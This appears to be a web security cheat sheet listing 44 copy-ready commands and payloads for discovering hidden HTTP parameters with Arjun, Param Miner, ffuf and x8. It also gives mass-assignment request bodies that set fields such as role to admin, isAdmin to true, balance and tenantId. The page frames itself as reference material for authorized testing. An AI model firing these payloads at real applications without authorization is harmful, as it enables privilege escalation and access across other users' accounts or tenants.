Find hidden HTTP parameters and mass-assignment fields with Arjun, Param Miner, x8, ffuf, and wordlist tactics — reflection, status, size, and word-count diffing to surface what the app forgot to document. (44 payloads)
arjun -u https://target.com/api/endpointarjun -u https://target.com/api/endpoint -m POSTarjun -u https://target.com/api/endpoint -m JSONarjun -i targets.txt -oT found.txt -t 20arjun -u https://target.com/page -w params.txtarjun -u https://target.com/page --headers "Cookie: session=abc; Authorization: Bearer eyJ..."arjun -u https://target.com/page --stable -d 2 --rate-limit 30arjun -u https://target.com/page -m headersRight-click request -> Guess query parametersRight-click request -> Guess body parametersRight-click request -> Guess headersParam Miner -> Settings -> 'add cachebuster'Param Miner -> 'Bulk scan' -> selected requestsParam Miner -> 'rare headers' / 'fcbz cachebuster' wordlistsIdentify reflected param via 'identify which part of the request the param is reflected in'ffuf -u 'https://target.com/page?FUZZ=test' -w params.txt -fs 4242ffuf -u 'https://target.com/page?FUZZ=test' -w params.txt -mr 'test'ffuf -u https://target.com/page -X POST -d 'FUZZ=test' -H 'Content-Type: application/x-www-form-urlencoded' -w params.txt -fw 12ffuf -u https://target.com/page -X POST -d '{"FUZZ":"test"}' -H 'Content-Type: application/json' -w params.txt -fc 400x8 -u https://target.com/page -w params.txtx8 -u https://target.com/page -X POST -b '{"key":"value"}' -w params.txt --param-template '{"%k":"%v"}'x8 -u https://target.com/page -w params.txt --headers 'Authorization: Bearer eyJ...' --output found.txtSecLists/Discovery/Web-Content/burp-parameter-names.txtArjun's db/params.txt (~25k) / Param Miner bundled lists (~65k)Mine the app's own JS: grep -roE '[?&][a-zA-Z0-9_]+=' app.js | sort -ugau target.com | unfurl -u keys | sort -uparamspider -d target.comkatana -u https://target.com -jc -kf all | grep '?'Build a custom list from API docs / Swagger: jq '.paths' openapi.jsonPUT /api/users/me {"name":"x","role":"admin"}PATCH /api/account {"email":"[email protected]","isAdmin":true,"verified":true,"balance":99999}POST /api/users {"username":"x","id":1,"organizationId":2,"tenantId":"victim"}Compare GET response keys vs accepted POST/PUT keysNested override: {"user":{"profile":{"role":"admin"}}} or user[role]=adminType-juggle the flag: "isAdmin":1 / "true" / "on" / [true]Submit discovered hidden params back as write fieldsBurp Intruder: brute privilege field names against PATCH, watch for role/state changeBaseline first: capture status, Content-Length, and word count of a request with a junk paramReflection check: inject a unique canary value and grep the response for itStatus-code shift: 200 -> 302/500/403 when a param is suppliedLength/word-count delta even with identical statusTiming oracle: param that changes response time (e.g. triggers a DB query)Beware cache & WAF noise: add a cachebuster, throttle, and re-test hits twiceConfirm impact, don't just report names: chain the param into IDOR/LFI/SSRF/SSTI testsLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 44 Param Discovery payloads for testing Parameter Discovery vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the API Security Testing Hub to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Param Discovery payloads are completely free, with no account required. Everything runs in your browser.